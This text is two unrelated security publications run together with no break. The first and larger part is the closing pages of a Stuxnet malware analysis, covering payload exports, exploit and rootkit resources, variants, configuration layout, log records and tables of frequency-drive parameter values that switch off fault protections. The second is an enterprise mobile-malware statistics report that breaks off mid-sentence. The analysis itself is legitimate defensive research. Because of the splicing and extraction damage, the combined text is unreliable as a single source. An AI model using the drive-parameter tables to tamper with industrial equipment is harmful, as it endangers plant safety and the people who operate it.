In addition, OB35 is infected as previously described. When the sabotage routine occurs, OB35 prevents the
original OB35 code from executing. Assuming the original OB35 code initiates a graceful shutdown during cata -
strophic events, even if the operators realize the system is operating abnormally, they will not be able to safely
shutdown the system.
Interestingly, OB35 uses a magic marker value of 0xDEADF007 (possibly to mean Dead Fool or Dead Foot – a
term used when an airplane engine fails) to specify when the routine has reached its final state.W32.Stuxnet Dossier
Page 50Security Response
Payload Exports
Export 1
Starts removable drive infection routine as described in the Removable Drive Propagation section. Also starts
the RPC server described in the Peer-to-Peer Communication section.
Export 2
Hooks APIs as described in the Step 7 Project File Infections section.
Export 4
Initialization for export 18, which removes Stuxnet from the system.
Export 5
Checks if MrxCls.sys installed. The purpose of MrxCls.sys is described in the Load Point section.
Export 6
Export 6 is a function to return the version number of the threat read from the configuration data block. The ver -
sion information is stored in the configuration data block at offset 10h.
Export 7
Export 7 simply jumps to export 6.
Export 9
Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File
Infections section.
Export 10
Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File
Infections section.
Export 14
Main wrapper function for Step 7 project file infections as described in the Step 7 Project File Infections section.
Export 15
Initial entry point described in the Installation section.
Export 16
Main installation routine described in the Installation section.
Export 17
Replaces a Step 7 DLL to infect PLCs as described in the Sabotaging PLCs section.W32.Stuxnet Dossier
Page 51Security Response
Export 18
Removes Stuxnet from the system by deleting the following files:
Malicious Step 7 DLL1.
Driver files MrxCls.sys and MrxNet.sys2.
oem7A.PNF3.
mdmeric3.pnf4.
mdmcpq3.pnf (Stuxnet’s configuration file)5.
Export 19
Removable drive infecting routine as described in the Removable Drive Propagation section.
Export 22
Contains all the network spreading routines described in the Network Spreading Routines section.
Export 24
Checks if the system is connected to the Internet. Performs a DNS query on two benign domains in the configu -
ration data (by default windowsupdate.com and msn.com) and updates the configuration data with the status.
Export 27
Contains part of the code for the RPC server described in the Peer-to-Peer Communication section.
Export 28
Contains command and control server functionality described in the Command and Control section.
Export 29
Contains command and control server functionality described in the Command and Control section.
Export 31
Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File
Infections section.
Export 32
The same as export 1, except it does not check for an event signal before calling the removable drive spreading
routines and the RPC server code. This export is described in the Removable Drive Propagation section.
Payload Resources
The exports above need to load other files/templates/data to perform their tasks. All of these files are stored in
the resources section of the main .dll file. The function of each resource is discussed in detail here.
Resource 201
Windows rootkit MrxNet.sys driver signed by a compromised Realtek signature described in the Windows Rootkit
Functionality section.
Resource 202
The DLL used in Step 7 project infections as described in the Step 7 Project File Infections section.W32.Stuxnet Dossier
Page 52Security Response
Resource 203
CAB file, contains a DLL very similar to resource 202 that is added to WinCC project directories (as described in
Step 7 Project File Infections) and then loaded and executed through SQL statements as described in the Infect -
ing WinCC Machines section.
Resource 205
Encoded configuration file for the load point driver (MrxCls.sys) that is added to the registry. The file specifies
what process should be injected and with what, which is described in the Load Point section.
Resource 207
Stuxnet appended with autorun.inf information. Only in previous variants of Stuxnet.
Resource 208
Step 7 replacement DLL used in infecting PLCs as described in the Sabotaging PLCs section.
Resource 209
25 bytes long data file created in %Windir%\help\winmic.fts
Resource 210
Template PE file used by many exports when creating or injecting executables.
Resource 221
This resource file contains the code to exploit the Microsoft Windows Server Service Vulnerability - MS08-067 as
described in the MS08-067 Windows Server Service vulnerability section.
Resource 222
This resource file contains the code to exploit the Microsoft Windows Print Spooler Vulnerability – MS10-067 as
described in the MS10-061 Print Spooler Zero day vulnerability section.
Resource 231
Checks if the system is connected to the Internet. This resource is only in previous variants of Stuxnet.
Resource 240
Used to build unique .lnk files depending on drives inserted as described in the Removable Drive Propagation
section.
Resource 241
The file WTR4141.tmp signed by Realtek and described in the Removable Drive Propagation section.
Resource 242
Mrxnet.sys rootkit file signed by Realtek.
Resource 250
0-day exploit code that results in an escalation of privilege due to the vulnerability in win32k.sys. Details are
described in the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-073) section.W32.Stuxnet Dossier
Page 53Security Response
Variants
Out of 3,280 collected samples, three distinct variants have been identified. They have compile times of:
Mon Jun 22 16:31:47 2009•
Mon Mar 01 05:52:35 2010•
Wed Apr 14 10:56:22 2010•
A fourth variant is likely to exist as a driver file, signed with the JMicron digital certificate that was found, but the
variant dropping this driver has yet to be recovered.
This document primarily concentrates on the March 2010 variant. The April 2010 variant only differs very slightly
from the March 2010 variant. (For example, increasing the date at which USB spreading stops.) However, the
June 2009 has significant differences from the March and April 2010 samples. The compile times appear ac -
curate based on the infection times seen for each sample. A version number contained within the binary also
corresponds to this chronology.
As discussed in the Stuxnet Architectur e section, Stuxnet segregates its functionality via embedded resources.
The newer variants have more resources, but are smaller in size. Shown below are the resources for both types
shown side by side.
The resources in green were added in the latest version, the resources in red were removed from the older ver -
sion, and the rest of the resources are constant between both old and new samples.
The reason for the difference in size is that Resource ID 207 is absent from the newer versions. Resource 207 is
520kB, so although more resources were added in newer versions of Stuxnet, the sum total of the new resource
sizes is less than 520kB.
The difference in functionality between the June 2009 variant and the March and April 2010 variants is summa -
rized below.
Many of the components are actually identical or are close to identical, having the same functionality with slight
differences in the code. Table 8
Comparison of Resources
March 2010 June 2009
Resource ID Size Resource ID Size
201 26,616 201 19,840
202 14,848 202 14,336
203 5,237
205 433 205 323
207 520,192
208 298,000 208 298,000
209 25 209 25
210 9,728 210 9,728
221 145,920 221 145,920
222 102,400 222 102,400
231 10,752
240 4,171
241 25,720
242 17 ,400
250 40,960W32.Stuxnet Dossier
Page 54Security Response
Resources 240, 241, and 242 represent the most significant additions between June 2009 and March 2010.
These resources exploit the Microsoft Windows Shortcut ‘LNK’ Files Automatic File Execution Vulnerabilit y (BID
41732) and implement the Windows rootkit to hide files on USB drives.
The June 2009 variant also contained code that was removed in the March 2010 variants. In particular, the June
2009 variants supported Windows 9x and also used autorun.inf to spread on removal drives, instead of the LNK
exploit.
Resource 207 and 231 were dropped from the newer version of Stuxnet. Resource 231 was used to communicate
with the control servers and has the C&C server names stored in plain text within the file. The newer version
of Stuxnet has moved the Internet connection functionality inside the main payload .dll file and has moved the
URLs from inside resource 231 to the installer component, and the URLs are crudely obfuscated. This gives the
attacker the distinct advantage of updating the configuration of each sample without having to rebuild the entire
package with a new resource inside.
Resource 207 has also been removed but at least part of its functionality has been retained. Resource 250 con-
tains code that previously resided inside resource 207, although as you can see from the sizes that resource 250
is much smaller, so some of the functionality of resource 207 has been removed.
Of the more than 3000
samples recovered, almost
all are 2010 variants. A
very small percentage of
the samples are the 2009
variant. The 2009 variant
may have spread more
slowly and infected far
fewer computers, or the
late discovery may have
meant infections were
either replaced with newer
versions or remediated. Table 12
Description of Components
Component June 2009 March 2010
201 Mrxcls.sys rootkit file Unsigned Signed
202 Fake Siemens DLL Same Version info but recompiled
203 DLL inside a .cab file New
205 Data file
207 Large Component Moved to 250
208 Wrapper for s7otbldx.dll Almost identical
209 Data file Identical
210 Loader .dll calls payload Almost identical
221 Network Explorer Identical
222 Network Explorer Identical
231 Internet Connect .dll Moved to main module
240 Link File Template New
241 USB Loader Template New
242 Mrxnet.sys rootkit file New
250 Keyboard Hook & Injector New
Red = resource removed, green = resource added.
Figure 31
Stuxnet Variants
W32.Stuxnet Dossier
Page 55Security Response
Summary
Stuxnet represents the first of many milestones in malicious code history – it is the first to exploit four 0-day
vulnerabilities, compromise two digital certificates, and inject code into industrial control systems and hide the
code from the operator. Whether Stuxnet will usher in a new generation of malicious code attacks towards real-
world infrastructure—overshadowing the vast majority of current attacks affecting more virtual or individual
assets—or if it is a once- in-a-decade occurrence remains to be seen.
Stuxnet is of such great complexity—requiring significant resources to develop—that few attackers will be
capable of producing a similar threat, to such an extent that we would not expect masses of threats of similar
in sophistication to suddenly appear. However, Stuxnet has highlighted direct-attack attempts on critical infra -
structure are possible and not just theory or movie plotlines.
The real-world implications of Stuxnet are beyond any threat we have seen in the past. Despite the exciting chal -
lenge in reverse engineering Stuxnet and understanding its purpose, Stuxnet is the type of threat we hope to
never see again. W32.Stuxnet Dossier
Page 56Security Response
Appendix A
Table 13
Configuration Data
Offset Type Description
+0 Dword Magic
+4 Dword Header size
+8 Dword Validation value
+C Dword Block size
+10 Dword Sequence number
+20 Dword Performance Info
+24 Dword Pointer to Global Config Data
+30 Dword Milliseconds to Wait
+34 Dword Flag
+40 Dword Pointer to Global Config Data
+44 Dword Pointer to Global Config Data
+48 Dword Pointer to Global Config Data
+58 Dword Buffer size
+5c Dword Buffer size
+60 Dword Buffer size
+64 Dword Buffer size
+68 Dword Flag
+6c Dword Flag, if 0, check +70 (if 1, infect USB without timestamp check)
+70 Dword Flag, after checking +6C, if 0, check +78 date
+78 Dword lowdatetime (timestamp before infecting USB)
+7C Dword highdatetime
+80 Dword number of files that must be on the USB key (default 3)
+88 Dword Must be below 80h
+84 Dword Number of Bytes on disk needed - 5Mb
+8c Qword Setup deadline (Jun 24 2012)
+98 Dword Flag
+9c Dword Flag
+A4 Qword Timestamp (start of infection – e.g., 21 days after this time USB infection will stop)
+AC Dword Sleep milliseconds
+b0 Dword Flag
+B4 Qword Timestamp
+c4 Dword Time stamp
+c8 Dword Flag (if 0, infect USB drive, otherwise, uninfect USB drive)
+cc Char[80h] Good domain 1 – windowsupdate.com
+14c Char[80h] Good domain 2 – msn.com
+1cc Char[80h] Command and control server 1
+24c Char[80h] URL for C&C server 1 - index.php
+2cc Char[80h] Command and control server 2
+34c Char[80h] URL for C&C server 2- index.phpW32.Stuxnet Dossier
Page 57Security Response
Table 13
Configuration Data
Offset Type Description
+3cc Dword Flag
+3ec Dword Wait time in milliseconds
+3f0 Dword Flag - connectivity check
+3f4 Dword HighDateTime
+3f8 Dword LowDateTime
+3d4 Dword TickCount (hours)
+414 Dword TickCount milliseconds
+418 Char[80h] Step7 project path
+498 Dword pointer to global config
+49c Dword pointer to global config
+4a0 Dword Counter
+59c Dword Flag - 0
+5a0 Dword TickCount Check
+5AC Dword TickCount Check
+5b4 PropagationData block 2
+5f0 PropagationData block 5
+62c PropagationData block 4
+668 PropagationData block 3
+6A4 Dword Flag to control whether WMI jobs should be run
+6A8 Dword Flag to control whether scheduled jobs should be run
+6AC Dword Flag controlling update
+6B4 Dword Flag, disable setup
+6b8 PropagationData block 1
Table 14
Format of a Propagation Data block
Offset Type Description
+00 Qword Timestamp max time
+08 Qword Timestamp AV definitions max timestamp
+10 Qword Timestamp Kernel DLLs max timestamp
+18 Qword Timestamp secondary time
+20 Dword Day count
+24 Dword Flag check secondary time
+28 Dword Flag check time
+2C Dword Flag check AV definitions time
+30 Dword Flag check Kernel DLLs max timestamp
+34 Dword
+38 DwordW32.Stuxnet Dossier
Page 58Security Response
Appendix B
The oem6c.pnf log file
This file is created as %Windir%\inf\oem6c.pnf.
It is encrypted and used to log information about various actions executed by Stuxnet. This data file appears to
have a fixed size of 323,848 bytes. However the payload size is initially empty.
On top of storing paths of recorded or infected Step7 project files, other records of information are stored. Each
record has an ID, a timestamp, and (eventually) data.
Here is a list of records that can be stored to oem6c.pnf:
Communication
2DA6h,1—No data. Stored before executing export 28.•
2DA6h,2—No data. Stored only if export 28 executed successfully.•
2DA6h,3—Has the initial network packet (to HTTP server) been sent.•
S7P/MCP
246Eh,1—Unknown. Relates to XUTILS\listen\XR000000.MDX.•
246Eh,2—Unknown. Relates to GracS\cc_alg.sav.•
246Eh,3—Filepath S7P.•
246Eh,4—Filepath S7P.•
246Eh,4—Filepath MCP.•
246Eh,5—Filepath MCP.•
246Eh,6—Recorded Step7 project path.•
Network
F409h, 1—Server names collected from network enumeration.•
F409h, 2—Unknown, index.•
F409h, 3—No data. Related to exploit (failure/success?).•
Infection
7A2Bh,2—No data. Infection of last removable device success.•
7A2Bh,5—No data. Infection of last removable device failed.•
7A2Bh,6—No data. Both files wtr4141/wtr4132 exist on the drive to be infected.•
7A2Bh,7—No data. Unknown, created on error.•
7A2Bh,8—No data. Created if not enough space on drive to be infected (less than 5Mb).•
Rootkits
F604h,5—No data. Only if Stuxnet and the rootkits were dropped and installed correctly (installation success).• W32.Stuxnet Dossier
Page 59Security Response
Appendix C
The following represents the parameters changed on the frequency drives and their values. Descriptions of the
values are provided; however, many of these descriptions—especially for parameters over 1000—may be inaccu -
rate (some clearly are inaccurate). These descriptions are derived from multiple sources and, ultimately, custom
applications can be used on frequency drives that use and specify their own purpose for these values.
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
Frames 1.1
813 2 ?
819 0
1086 1 Disable stop lock - allows parameters
adjusting during RUN state (allinone)
114 0 stop button
301 0 DIN3 function
313 0 RO1 function
314 0 RO2 function
315 0 output frequency limit 1 supervision
346 0 output frequency limit 2 supervision
348 0 torque limit supervision function
350 0 reference limit supervision function
354 0 frequency converter temperature limit
supervision
356 0 analogue supervision signal
700 0 Response to the 4mA reference fault
701 0 Response to external fault
702 0 Output phase supervision
703 0 Earth fault protection
704 0 Motor thermal protection
709 0 Stall protection
713 0 Underload protection
727 1 Response to undervoltage fault
730 0 Input phase supervision
732 0 Response to thermistor fault
733 0 Response to fieldbus fault
734 0 Response to slot fault
740 0 Response to PT100 fault
1316 0 Brake fault action (allinone)
1082 0 SystemBus communication fault re -
sponse (allinone)
752 0 Speed error fault function
1353 0 Encoder fault mode (advanced)
303 0 reference scaling min value
304 0 reference scaling maximum value
305 0 reference inversion Table 16
Parameters and values for Fararo
Paya drive
Parameter Value Possible Description
Frames 1.1
117 49
118 899
119 101
120 119
116 8000
116 12000
116 8000
116 16000
122 2
174 301
168 1
170 201
113 2
114 850
142 14000 Frequency ?
111 1
112 61990
123 0
107 399
106 950
104 10500 Frequency ?
101 10500 Frequency ?
104 14001
111 10000
101 14000 Frequency ?
103 10490
102 10480
166 1
173 1
169 1
112 30000
0 0
169 1W32.Stuxnet Dossier
Page 60Security Response
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
434 0 fault
436 0 warning active
438 0 reference fault/warning
439 0 overtemperature warning
441 0 unrequested direction
444 0 external control place
445 0 external brake control
447 0 output frequency limit 1 supervision
448 0 output frequency limit 2 supervision
449 0 Reference limit supervision
450 0 Temperature limit supervision
451 0 Torque limit supervision
452 0 Thermistor fault or warning
463 0 Analogue input supervision limit
485 0 Scaling of motoring torque limit
464 0 Analogue output 1 signal selection
307 0 analogue output function
471 0 Analogue output 2 signal selection
472 0 Analogue output 2 function
478 0 Analogue output 3/ signal selection
479 0 Analogue output 3/ function
312 0 digital output 1 function
486 0 Digital output 1 signal selection
490 0 Digital output 2 function
489 0 Digital output 2 signal selection
307 0 analogue output function
472 0 Analogue output 2 function
479 0 Analogue output 3/ function
464 0 Analogue output 1 signal selection
471 0 Analogue output 2 signal selection
478 0 Analogue output 3/ signal selection
484 0 Analogue output 3 offset
312 0 digital output 1 function
490 0 Digital output 2 function
486 0 Digital output 1 signal selection
489 0 Digital output 2 signal selection
414 0 fault reset
415 0 acc/dec prohibited
416 0 DC-braking
750 1 Cooling monitor
1213 1 Emergency Stop (allinone) Table 16
Parameters and values for Fararo
Paya drive
Parameter Value Possible Description
0 0
Frames 1.2
123 0
112 1
102 10
103 500
101 10000 Frequency?
104 10640 Frequency?
107 400
105 33
106 100
117 20
118 650
119 400
120 100
174 450
168 4
170 400
113 1
114 750
112 10
111 10
142 10640 Frequency?
169 1
173 1
Frames 2.1
117 49
118 899
119 101
120 119
116 8000
116 12000
116 8000
116 16000
122 2
166 1
174 301
168 1
170 201
113 2W32.Stuxnet Dossier
Page 61Security Response
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
1420 1 Prevention of startup (allinone)
399 0 scaling of current limit
400 0 scaling of DC breaking current
401 0 scaling of acc/dec time
405 0 external fault close
406 1 external fault open
407 1 run enable
411 1 control from fieldbus
409 0 control from I/O terminal
410 0 control from keyboard
107 44 current limit
107 440 current limit
509 0 Prohibit frequency area 1/ Low limit
510 0 Prohibit frequency area 1/ High limit
511 0 Prohibit frequency area 2/ Low limit
512 0 Prohibit frequency area 2/ High limit
513 0 Prohibit frequency area 3/ Low limit
514 0 Prohibit frequency area 3/ High limit
104 19990 deceleration time 1 ?
503 19990 deceleration time 2 ?
1541 19990 Selma Fault Word 1 - ?
1542 19990 Selma Fault Word 2 - ?
508 0 DC-braking time at stop
516 0 DC-braking time at start
506 1 stop function
505 0 start function
1500 1 Current limit (multimotor) or DIN5 func -
tion (lift app)
103 4000 acceleration time 1
502 4000 acceleration time 2
1531 1 Min frequency (highspeed multimotor)
125 3 control place
122 3 fieldbus control reference
102 1410
1502 1 Maximum frequency (highspeed mul -
timotor)
1505 1 Current limit (highspeed multimotor)
1508 1 Nominal speed of the motor (highspeed
multimotor)
1511 1 I/O reference (highspeed multimotor)
1514 1 Start function (highspeed multimotor) Table 16
Parameters and values for Fararo
Paya drive
Parameter Value Possible Description
114 850
102 1
108 1
109 1
105 280
106 281
103 400
112 1
111 30000
123 0
142 2
107 380
101 2
104 500 Frequency?
169 1
173 1
0 0
169 1
Frames 2.2
123 0
111 1
104 10640 Frequency?
103 500
101 10000
102 10
107 400
105 33
106 100
166 1
117 20
118 650
119 400
120 100
122 2
174 450
168 4
170 400
113 1
114 750
108 1500W32.Stuxnet Dossier
Page 62Security Response
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
1517 1 DC braking time at stop (highspeed
multimotor)
1520 1 Measured Rs voltage drop (multimotor2)
1503 1 Acceleration time 1 (highspeed multimo -
tor)
1506 1 Nominal voltage of the motor (highspeed
multimotor)
1509 1 Nominal current of the motor (high -
speed multimotor)
1512 1 Analogue output function (highspeed
multimotor)
1515 1 Stop function (highspeed multimotor)
1518 1 Follower drive windong phase shift
(advanced)
600 0 Motor control mode
521 0 Motor control mode 2
1522 1 Analogue output 4 inversion (advanced)
1526 1 DIN5 function (highspeed multimotor)
1525 1 Analogue output 4 scaling (advanced)
1532 0 Max frequency (highspeed multimotor)
1527 0 Analogue output 4 signal selection
(advanced)
110 400 nominal voltage of motor
1519 1064
1516 1063
1520 29990 Measured Rs voltage drop (multimotor2)
1517 29990 DC braking time at stop (highspeed
multimotor)
1522 1 Analogue output 4 inversion (advanced)
1526 1 DIN5 function (highspeed multimotor)
1525 1 Analogue output 4 scaling (advanced)
1519 1410
1516 1400
1517 4000 DC braking time at stop (highspeed
multimotor)
1518 5990 Follower drive windong phase shift
(advanced)
1513 1062
1510 1061
1507 1060
1504 1059
1501 1058
0 0 Table 16
Parameters and values for Fararo
Paya drive
Parameter Value Possible Description
109 1200
112 10
111 10
142 10640 Frequency?
169 1
173 1W32.Stuxnet Dossier
Page 63Security Response
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
Frames 1.2
812 12 Number of stop bits
0 0
Frames 2.1
813 2 ?
819 0
1086 1 Disable stop lock - allows parameters
adjusting during RUN state (allinone)
114 0 stop button
506 0 stop function
315 0 output frequency limit 1 supervision
346 0 output frequency limit 2 supervision
348 0 torque limit supervision function
350 0 reference limit supervision function
354 0 frequency converter temperature limit
supervision
356 0 analogue supervision signal
700 0 Response to the 4mA reference fault
701 0 Response to external fault
702 0 Output phase supervision
703 0 Earth fault protection
704 0 Motor thermal protection
709 0 Stall protection
713 0 Underload protection
727 1 Response to undervoltage fault
730 0 Input phase supervision
732 0 Response to thermistor fault
733 0 Response to fieldbus fault
734 0 Response to slot fault
740 0 Response to PT100 fault
1316 0 Brake fault action (allinone)
1082 0 SystemBus communication fault re -
sponse (allinone)
752 0 Speed error fault function
1353 0 Encoder fault mode (advanced)
303 0 reference scaling min value
304 0 reference scaling maximum value
305 0 reference inversion
434 0 fault
436 0 warning active
438 0 reference fault/warning
439 0 overtemperature warningW32.Stuxnet Dossier
Page 64Security Response
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
441 0 unrequested direction
444 0 external control place
445 0 external brake control
447 0 output frequency limit 1 supervision
448 0 output frequency limit 2 supervision
449 0 Reference limit supervision
450 0 Temperature limit supervision
451 0 Torque limit supervision
452 0 Thermistor fault or warning
463 0 Analogue input supervision limit
485 0 Scaling of motoring torque limit
464 0 Analogue output 1 signal selection
307 0 analogue output function
471 0 Analogue output 2 signal selection
472 0 Analogue output 2 function
478 0 Analogue output 3/ signal selection
479 0 Analogue output 3/ function
312 0 digital output 1 function
486 0 Digital output 1 signal selection
490 0 Digital output 2 function
489 0 Digital output 2 signal selection
414 0 fault reset
415 0 acc/dec prohibited
416 0 DC-braking
750 1 Cooling monitor
1213 1 Emergency Stop (allinone)
1420 1 Prevention of startup (allinone)
607 0 Overvoltage controller
1267 850 Brake chopper level (advanced)
1262 2 Overvoltage reference selection (ad -
vanced)
520 0 Flux brake
1522 0 Analogue output 4 inversion (advanced)
1526 0 DIN5 function (highspeed multimotor)
1525 0 Analogue output 4 scaling (advanced)
516 0 DC-braking time at start
508 0 DC-braking time at stop
515 1
505 0 start function
104 1 deceleration time 1
503 1 deceleration time 2W32.Stuxnet Dossier
Page 65Security Response
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
1541 1 Selma Fault Word 1 - ?
1542 1 Selma Fault Word 2 - ?
1531 0 Min frequency (highspeed multimotor)
1532 0 Max frequency (highspeed multimotor)
125 3 control place
601 160 switching frequency
399 0 scaling of current limit
400 0 scaling of DC breaking current
401 0 scaling of acc/dec time
405 0 external fault close
406 1 external fault open
407 1 run enable
411 1 control from fieldbus
409 0 control from I/O terminal
410 0 control from keyboard
600 0 Motor control mode
521 0 Motor control mode 2
108 2 U/f ratio selection
101 0 min frequency
107 44 current limit
107 440 current limit
110 380 nominal voltage of motor
606 2800 output voltage at zero frequency
111 80
112 144 nominal speed of motor
120 85 motor cos phi
605 2850 U/f curve/ middle point voltage
603 3000 voltage at field weakening point
604 40
1519 1
102 2
717 110 Automatic restart/ Wait time
718 120 Automatic restart/ Trial time
721 10 Automatic restart/ Number of tries after
overvoltage trip
722 3 Automatic restart/ Number of tries after
overcurrent trip
301 0 DIN3 function
313 0 RO1 function
314 0 RO2 function
103 3000 acceleration time 1
502 3000 acceleration time 2W32.Stuxnet Dossier
Page 66Security Response
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
1502 3000 Maximum frequency (highspeed mul -
timotor) ?
104 19990 deceleration time 1 ?
503 19990 deceleration time 2 ?
1541 19990 Selma Fault Word 1 - ?
1542 19990 Selma Fault Word 2 - ?
504 1 brake chopper
504 4 brake chopper
1531 1 Min frequency (highspeed multimotor)
0 0
0 0
506 1 stop function
0 0
Frames 2.2
506 0 stop function
1532 0 Max frequency (highspeed multimotor)
1541 1 Selma Fault Word 1 - ?
1542 1 Selma Fault Word 2 - ?
104 1 deceleration time 1
503 1 deceleration time 2
1522 0 Analogue output 4 inversion (advanced)
1526 0 DIN5 function (highspeed multimotor)
1525 0 Analogue output 4 scaling (advanced)
125 3 control place
1531 0 Min frequency (highspeed multimotor)
0 0
0 0
0 0
102 1064
108 2 U/f ratio selection
111 1064
604 50
603 10000 voltage at field weakening point
605 1000 U/f curve/ middle point voltage
606 330 output voltage at zero frequency
0 0
812 12 ?
1531 1 Min frequency (highspeed multimotor)
516 0 DC-braking time at start
505 0 start function
103 1 acceleration time 1W32.Stuxnet Dossier
Page 67Security Response
Table 15
Parameters and values for Vacon drive
Parameter Value Possible Description
502 1 acceleration time 2
1502 1 Maximum frequency (highspeed mul -
timotor)
1522 0 Analogue output 4 inversion (advanced)
1526 0 DIN5 function (highspeed multimotor)
1525 0 Analogue output 4 scaling (advanced)
0 0
0 0
812 12 ?
0 0W32.Stuxnet Dossier
Page 68Security Response
Revision History
Version 1.0 (September 30, 2010)
Initial publication•
Version 1.1 (October 12, 2010)
Added • Windows Win32k.sys Local Privilege Escalation (MS10-073) section.
Updates to • Modifying PLCs section, based on MS10-073.
Other minor updates.•
Version 1.2 (November 3, 2010)
Added • Behavior of a PLC infected by sequence A/B section.
Version 1.3 (November 12, 2010)
Updated the • Modifying PLCs section .
Added Appendix C.•
Version 1.4 (February 11, 2011)
New content added to the • Infection Statistic s, The monitor threa d, Sequence C, and Variant s sections.
Minor edits and updates to • Configuration Data Bloc k, Behavior of a PLC infected by sequence A/ B, and Other
export hook s sections.
|
<
Mobile Threat
Intelligence Report
Q1 2016Mobile Threat Intelligence Report, Q1 2016 | 2The most valuable information any enterprise security
IT professional can know is how much risk their
organization is exposed to and where the highest
risks exists. Unfortunately, when it comes to
mobility, most could not even tell you if they
have had a mobile breach, let alone what
the steps are to remove the threat and
protect the enterprise. Without this
essential visibility, security admins are
truly flying blind, with no way to identify,
quantify or mitigate the risks in their
mobile ecosystems.
The first priority when tackling mobile
security in the enterprise is to identify the
highest risk devices and either remove the
threat on the device or remove that device’s
ability to access critical corporate resources.
The devices with the highest risk almost always
have high-severity malware installed, so this special
report will focus on the nature and prevalence of mobile
malware in the enterprise. The enterprises studied in this
report show almost 2 percent of devices rated at high risk
of exposing sensitive corporate data. Although that seems
like a small number, note that a single breach may be sufficient
to destroy a company’s reputation or competitive advantage.Mobile malware has been around almost as long as
mobile apps, but the worst malware of today is no
longer just an annoying inconvenience to the user.
Malicious hackers are targeting big enterprises for
spying, data theft, defamation and extortion, and they
have figured out many creative ways to silently take
control of the best surveillance and infiltration tool ever created - your smart phone. This study found
that 4% of all mobile devices have malware.
Note: This investigation is based on millions of
monthly security tests from January through March
2016 and includes both unmanaged devices and
those under security management in enterprise
organizations.Overview
One-third of devices have medium
to high risk of data exposure
Data Exposure Risk
Low Risk
30.49%Minimal
Risk
36.70%Medium
Risk
30.93%High Risk
1.88%Mobile Threat Intelligence Report, Q1 2016 | 3This study shows that Android malware is still more
prevalent than iOS malware in enterprise, even though U.S.
enterprise users are still more than twice as likely to carry
an Apple device than one running Android. In fact, in
large organizations (those with more than 200 devices)
existence of mobile malware is almost assured. BYOD
continues to be a driving force in enterprise mobility
strategies, which means that locked down and fully
controlled mobile devices are limited to only specific
business use cases, while the majority of devices are
purchased and managed by the employees. This means
that many organizations have no control over what
apps get installed on the device. Users are very likely to
install malware that gets carried into the workplace, and
enterprises must find non-intrusive ways to manage mobile
security, without hindering productivity or violating the
privacy of the users.Android devices nearly twice as likely
to have malware
There is a greater variety of Android malware compared
to iOS in organizations. Hackers still seem to find many
more different ways to infect Android devices with
malware than iOS devices. For Android, it is much
simpler to create and distribute malware, so there
are naturally a large variety of malware instances.
iOS, on the other hand, tends to be more difficult,
so once a method is found, it is more likely to be used
repeatedly, resulting in less variety. Although the study
indicates total instances of malware are dramatically on
the rise for both operating systems, the variety of malware is far
greater for Android, with the number of unique iOS malware less than
one quarter of the total amount of installed malware. By contrast, the
total quantity of Android malware consists of 76% unique varieties.
In fact, enterprises have on average more than 3 unique instances
of malware, so don’t expect to be safe from malware if you find and
remove only one variety. Android Malware
comes in many varietiesAndroid
5.7%
iOS
3.0%
Percentage of devices in organizations that
have high/medium severity malwareŲŴPercentage of
high/medium
severity
malware that is
unique
Android76.0%
iOS22.0%Mobile Threat Intelligence Report, Q1 2016 | 4ƣ#ƣ#
Percentage of Jailbroken or Rooted Devices0.02% 0.71%
0.56% 3.85%Enterprise
Managed
Self
ManagedRooting an Android device, or Jailbreaking an iOS
device, is a way for the user to gain greater control
over the device, allowing better access to system
files and enabling greater personalization and
functionality of the device that wouldn’t otherwise
be allowed by the operating system as designed.
Users will do this to their own phones to improve
their productivity or enjoyment of the device, but
this has become less common than it once was,
as newer operating systems naturally allow some
of the functionality that could previously only be
achieved through rooting or jailbreaking.Jailbroken/Rooted
Because of the greater control over the device that this affords, it is a common goal of hackers to figure out ways to
root or jailbreak devices, and malware is a common way to do that. A user that roots or jailbreaks their own device
should be aware that they may be simply making it easier for hackers to exploit, so it is not generally recommended.
More than 19 percent of enterprise Android devices
in the study still allow app installation from third-
party stores, despite a system-level setting to turn
off this feature. According to the study, this could be
a big problem for organizations because third-party
app stores are much more likely to deliver malware.
The Google Play store is by far the safest place to
get Android apps, with only one in approximately 1600 apps being malware. Users are nearly twice as
likely to download malware from the Samsung store
and more than 12 times more likely to find malware
at the Amazon store. Other Android stores may be
far riskier, such as Aptoid stores, which are 72 times
more likely to deliver malware, representing one out
of every 23 apps!One in five (19.3%) Android devices in enterprises
allow app installation from third party stores
Google Play Store
Samsung
Amazon
AptoidMalware as a Percentage
of Downloaded Apps0.06% (1 in 1600 apps)
0.11% (1 in 900 apps)
0.77% (1 in 130 apps)
4.41% (1 in 23 apps)
Average number of apps installed on an Android device: 213Mobile Threat Intelligence Report, Q1 2016 | 5Although app installation rates around the world
remain relatively flat across the day, with slightly
more during working hours in the US, the ratio of
malware installations during the 9:00-10:00am
(Eastern Time) hour is as much as 10 times the rateof other hours during the day. Malware incidents are
best identified at the time of installation, before they
can do any real harm, using traditional or advanced
detection methods. This seems to be a common time
for hackers to deploy social engineering methods
to trick people into installing their malware. As a
precaution, avoid installing new apps during this hour.Worst hour of the day to install apps: 9-10 am EST
Many mobile security solutions focus entirely on identifying
and protecting devices from malware. With so much focus in
the industry on mobile malware, it is easy to forget that this is
only one source of attack that malicious hackers use. In fact,
data from this study shows that network incidents are 5 times
more frequent than malware incidents. Diving deeper into
the network threats, the study found the largest number of
threats from SSL Man in the Middle attacks, which intercept
and decrypt communication between two systems. The second
largest threat came from content manipulation attacks, in
which hackers may alter part of a website to lure victims to Network incidents
5X more likely
than malware incidents
Type of Threat Incidents
.
ŶNetwork
Threats
70.0%Configuration
Threats
17.0%Malware
Threats
13.0%1am 2am 3am 4am 6am 8am 9am10am 11am 12pm1pm 2pm 3pm 4pm 5pm 6pm 7pm 8pm 9pm10pm 11pm5am 7amPercentage of Installed
Apps that are Malware
by Time of Day (ET)0.55%
perform desired actions through a manipulated interface or in a third-party system. This study also evaluated
configuration vulnerability incidents, such as not having a lock screen passcode or allowing installation of apps from
